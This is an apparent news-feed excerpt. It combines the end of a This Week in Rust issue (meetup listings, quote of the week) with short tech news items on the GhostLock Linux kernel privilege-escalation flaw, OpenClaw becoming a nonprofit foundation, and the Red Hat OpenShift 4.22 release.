<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3983">bf16 primitive type</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-15 - 2026-08-12 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/rust-tlv/events/">Rust 🦀 TLV</a><ul>
<li><a href="https://www.meetup.com/rust-tlv/events/315676843/"><strong>שיחה חופשית ווירטואלית על ראסט</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-12 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, MA, IN | <a href="https://www.meetup.com/rust-pune/events/">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a><ul>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group/events/">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>Thank you for your PR, but please edit the description like you are a chainsaw-wielding maniac that just discovered the sentences are young adults who came to the lake at summer camp after sunset.</p>
</blockquote>
<p>– <a href="https://github.com/rust-lang/rust/pull/159039#issuecomment-4931084997">workingjubilee on Rust github</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1786">Theemathas</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1uxsigp/this_week_in_rust_660/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Uncovers a 15-Year-Old Linux Kernel Root Vulnerability Hidden Since 2011]]></title>
<description><![CDATA[by George Whittaker
      
            Artificial intelligence has helped uncover one of the most significant Linux kernel security flaws in recent years. Security researchers at Nebula Security announced the discovery of GhostLock (CVE-2026-43499), a critical local privilege escalation vulnerabi...]]></description>
<link>https://tsecurity.de/de/3671239/unix-server/ai-uncovers-a-15-year-old-linux-kernel-root-vulnerability-hidden-since-2011/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671239/unix-server/ai-uncovers-a-15-year-old-linux-kernel-root-vulnerability-hidden-since-2011/</guid>
<pubDate>Wed, 15 Jul 2026 18:01:55 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341444" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/ai-uncovers-a-15-year-old-linux-kernel-root-vulnerability-hidden-since-2011.jpg" width="850" height="500" alt="AI Uncovers a 15-Year-Old Linux Kernel Root Vulnerability Hidden Since 2011" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Artificial intelligence has helped uncover one of the most significant Linux kernel security flaws in recent years. Security researchers at <strong>Nebula Security</strong> announced the discovery of <strong>GhostLock (CVE-2026-43499)</strong>, a critical local privilege escalation vulnerability that remained hidden in the Linux kernel for approximately <strong>15 years</strong> before being identified by the company's AI-powered vulnerability research platform, <strong>VEGA</strong>.</p>

<p>The vulnerability affects Linux kernels dating back to <strong>version 2.6.39 (2011)</strong> and allows an unprivileged local user to obtain full root privileges on vulnerable systems. Its discovery not only highlights the importance of timely kernel updates but also demonstrates how AI is beginning to transform vulnerability research.</p>

<h2><strong>What Is GhostLock?</strong></h2>

<p>GhostLock is a <strong>use-after-free (UAF)</strong> vulnerability located in the Linux kernel's <strong>futex (fast userspace mutex)</strong> implementation.</p>

<p>Futexes are synchronization primitives that allow user-space applications to efficiently coordinate access to shared resources while minimizing expensive kernel interactions. Because they are widely used throughout Linux, any flaw within this subsystem can have broad security implications.</p>

<p>According to Nebula Security, incorrect handling of the <code>remove_waiter()</code> function can leave behind a dangling kernel pointer that an attacker can manipulate to execute arbitrary code with kernel privileges.</p>

<h2><strong>A Reliable Path to Root Access</strong></h2>

<p>One of the reasons GhostLock has attracted so much attention is the reported reliability of the exploit.</p>

<p>Researchers demonstrated that an attacker with nothing more than a standard local user account can escalate privileges to root in roughly <strong>five seconds</strong>, with a reported success rate of <strong>97%</strong> on vulnerable systems.</p>

<p>Unlike many kernel exploits that are unstable or require highly specific system configurations, GhostLock appears to be both practical and repeatable, making it particularly concerning for administrators.</p>

<h2><strong>Container Escapes Are Also Possible</strong></h2>

<p>The implications extend beyond traditional Linux desktops and servers.</p>

<p>Researchers report that GhostLock can also be used to <strong>escape containers</strong> and compromise the underlying host operating system. Because containers share the host kernel, a successful privilege escalation inside a container can potentially grant root access to the host itself.</p>

<p>This makes the vulnerability especially important for environments running:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/ai-uncovers-15-year-old-linux-kernel-root-vulnerability-hidden-2011" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’]]></title>
<description><![CDATA[OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that the popular platform has thus far lacked. Still, some worry about the risks created by the move. 



“Our ambition is for OpenClaw...]]></description>
<link>https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">the popular platform </a>has thus far lacked. Still, some worry about the risks created by the move. </p>



<p class="wp-block-paragraph">“Our ambition is for OpenClaw to be the Switzerland of AI. Neutral ground where every model and every lab can plug into the technology and collaborate on standards in the era of agents,” <a href="https://openclaw.ai/blog/introducing-openclaw-foundation/" target="_blank" rel="noreferrer noopener">OpenClaw said in a post</a>. “That work is already underway in Foundation-convened councils on agent identity, agent profiles, evals, and enterprise deployment.”</p>



<p class="wp-block-paragraph">The statement, co-authored by OpenClaw creator <a href="https://www.linkedin.com/in/steipete/" target="_blank" rel="noreferrer noopener">Peter Steinberger</a>, pointed out, “the great open source projects of our time — Linux, Apache, Mozilla — endure because a neutral steward stands behind them. That is the role we are taking on to keep OpenClaw MIT licensed, open, and independent so that everyone building on it can trust it will be here for the long term.”</p>



<p class="wp-block-paragraph">But it reassured users that the original OpenClaw leadership is still in charge.</p>



<p class="wp-block-paragraph">“Peter built this thing and Peter keeps making the calls, especially the technical ones. Since joining OpenAI earlier this year, he has continued to steward OpenClaw as an open and independent project, and OpenAI has made a commitment to keep it that way,” the post said. “The foundation is here to serve: good governance, stable funding, and paying the people who keep the claws alive.”</p>



<p class="wp-block-paragraph">However, some analysts and consultants were skeptical about how much true independence Steinberger would have, given his salaried role with OpenAI. </p>



<h2 class="wp-block-heading">Neutrality claim in question</h2>



<p class="wp-block-paragraph">“The Switzerland of AI neutrality claim collapses under its own announcement,” said <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520. “OpenAI runs a team [at OpenAI] called Claw Labs that Peter leads and OpenAI is a major donor to OpenClaw. The ‘neutral steward’s’ chief technical decision maker is employed by one of the competing labs it is supposed to be neutral with.” To OpenAI, he said, OpenClaw is closer to a tax-exempt nonprofit subsidiary than it is to a neutral ‘Switzerland of AI.’</p>



<p class="wp-block-paragraph">He pointed out that, in addition, Microsoft is shipping <a href="https://www.computerworld.com/article/4173442/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era-2.html" target="_blank">the enterprise version</a> of OpenClaw, and Nvidia is shipping the hardware bundle. “This is being called the Switzerland of AI, but Switzerland does not have its central bank run by France,” he observed.</p>



<p class="wp-block-paragraph">Kenney said that what the new OpenClaw has actually built is “a shared dependency that several competitors fund, staff, and steer, wrapped in a nonprofit structure. Enterprise IT should understand that structure, because treating OpenClaw as neutral is a mistake,” adding that CIOs need to look at this development devoid of the emotional component. </p>



<p class="wp-block-paragraph">“There is a strategic irony here that CIOs should sit with,” Kenney said. “If OpenClaw succeeds at becoming the universal agent substrate, then every model plugs into the same identity layer, the same profiles, and the same deployment plumbing. The thing every vendor is racing to own becomes a commodity that nobody owns.” He pointed out that, in the short term, that is genuinely good news for buyers because it means less lock-in and more portability.</p>



<p class="wp-block-paragraph">“But,” he said, “when the connective tissue is free and natural, the only labs that benefit are the ones with the best models and the deepest distribution. Commoditize the layer below you and you compete on the layer where you are already strongest. The foundation is not a charity. It is the biggest players agreeing to stop fighting over the plumbing so they can fight over the water, and the enterprise is the one paying the water bill either way.”</p>



<h2 class="wp-block-heading">Good news, bad news</h2>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, liked the potential consistency that could emerge from the structural change, given the complexity of agent development today. </p>



<p class="wp-block-paragraph">“We are seeing a lot of OpenClaw variants hit the market, such as those from Nvidia as well as competing products from cloud and SaaS vendors. A common base helps solidify the common parts,” Andersen noted. “That said, a common challenge is the sustainability of these open source foundations over time. In addition to releasing code, these foundations need funding to evolve and grow. And that funding needs to come from continued momentum to incentivize existing members to increase investment and recruit new members to join.”</p>



<p class="wp-block-paragraph">Andersen stressed that IT buyers need to keep an eye on the roadmap for any OpenClaw variant they choose to deploy, “as that will directly impact the foundation, and the momentum of the foundation and common base. If the common base loses momentum, it can lead to forks, or just a loss of innovation. When that happens, members tend to back away, which puts customers in limbo.”</p>



<p class="wp-block-paragraph">But not everyone sees the promised structure as entirely good for IT.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO at coding productivity tool vendor Kodezi, said, “most CIOs do not want to bet their future entirely on a single model vendor. They want Claude for some workloads, GPT for others, open models for sensitive environments, and potentially internally fine-tuned systems for specific use cases. The problem is that every vendor currently brings its own identity system, tool interfaces, permissions model, and operational assumptions. That fragmentation does not scale.”</p>



<p class="wp-block-paragraph">He said, “the risk if standards fail is straightforward: every vendor builds its own closed ecosystem, enterprises become locked into individual stacks, and security becomes dramatically harder. The opportunity if OpenClaw succeeds is equally significant: enterprises get portable agents, common identity standards, interoperable tooling, and a healthier competitive market around models rather than ecosystems.”</p>



<h2 class="wp-block-heading">Will it remain a nonprofit?</h2>



<p class="wp-block-paragraph">However, said <a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, one of the key details that IT executives will want to keep in mind is that OpenAI also began as a nonprofit, but it was quickly <a href="https://www.computerworld.com/article/4056490/openai-microsoft-discuss-shape-of-future-relationship.html" target="_blank">seen as not adhering to nonprofit objectives</a>. </p>



<p class="wp-block-paragraph">“OpenAI’s transition from a nonprofit research organization into a more complex structure highlighted the challenge of maintaining mission alignment while scaling technology, capital, partnerships, and commercial operations,” Greis said. “OpenClaw has the opportunity to address some of those governance questions earlier by establishing clear principles around neutrality, transparency, and decision-making before the ecosystem becomes even larger and more valuable.”</p>



<p class="wp-block-paragraph">He noted, “we have seen this pattern before with technologies like Linux and Kubernetes. The strongest open ecosystems succeeded because they created trusted foundations that enterprises could build upon. The technology was important, but the governance model that underpinned it was equally critical.”</p>



<h2 class="wp-block-heading">Risks are ‘squarely in IT’s lap’</h2>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, echoed Greis’ concerns. </p>



<p class="wp-block-paragraph">“CIOs shouldn’t assume that this nonprofit will always be a nonprofit, or confuse being a nonprofit with actually being neutral or unbiased,” he said. “The risks are squarely in IT’s lap: autonomous agents ‘with their own identity’ acting on a user’s behalf blow straight through traditional IAM assumptions. Issues, such as agent identity, auditability, secret handling. Identity boundaries have not yet been reliably solved. Until they are, enterprises should treat OpenClaw agents like privileged service accounts, not like a browser plugin.”</p>



<p class="wp-block-paragraph">Independent cybersecurity and risk advisor <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a> pointed to another IT exposure that might come from this OpenClaw transition: Cost.</p>



<p class="wp-block-paragraph">“OpenClaw currently has a very high token burn rate in usage, which presents a significant cost consideration for large-scale enterprise adoption,” he said. “The skills marketplace introduces <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">a new supply chain threat </a>that enterprises will need to manage. Threat management, and specifically handling <a href="https://www.csoonline.com/article/4135449/compromised-npm-package-silently-installs-openclaw-on-developer-machines.html" target="_blank">external marketplace elements</a>, can be highly challenging for open-source operations. Ultimately, at scale, enterprise adoption could become a difficult balancing act between managing high operational costs and securing an expanded security surface.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">Computerworld</a>.</em></p>
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<title><![CDATA[Red Hat OpenShift 4.22 tackles cloud costs, AI workloads]]></title>
<description><![CDATA[Red Hat OpenShift 4.22, an update to the company’s hybrid cloud application platform, is now generally available. The release focuses on cutting cloud infrastructure costs, simplifying operations of virtualized workloads, and securing sensitive data.



Announced July 14, Red Hat OpenShift 4.22 c...]]></description>
<link>https://tsecurity.de/de/3671154/ai-nachrichten/red-hat-openshift-422-tackles-cloud-costs-ai-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671154/ai-nachrichten/red-hat-openshift-422-tackles-cloud-costs-ai-workloads/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Red Hat OpenShift 4.22, an update to the company’s hybrid cloud application platform, is now generally available. The release focuses on cutting cloud infrastructure costs, simplifying operations of virtualized workloads, and securing sensitive data.</p>



<p class="wp-block-paragraph">Announced <a href="https://www.redhat.com/en/blog/navigate-ai-and-scale-red-hat-openshift-422">July 14</a>, Red Hat OpenShift 4.22 continues to harden the platform foundation to meet growing security standards, helping reduce the manual effort of compliance and risk mitigation, Red Hat said. The introduction of a minimal Red Hat Universal Base Image (UBI) strips away non-essential packages to reduce the overall attack surface. With Red Hat OpenShift sandboxed containers 1.12, OpenShift 4.22 makes support for confidential containers on bare metal generally available. </p>



<p class="wp-block-paragraph">The OpenShift 4.22 release also introduces confidential AI as a technology preview. With confidential AI, organizations can isolate and run highly sensitive workloads and proprietary AI algorithms inside a cryptographically isolated slice of memory and CPU, providing data privacy even during runtime execution, according to Red Hat.</p>



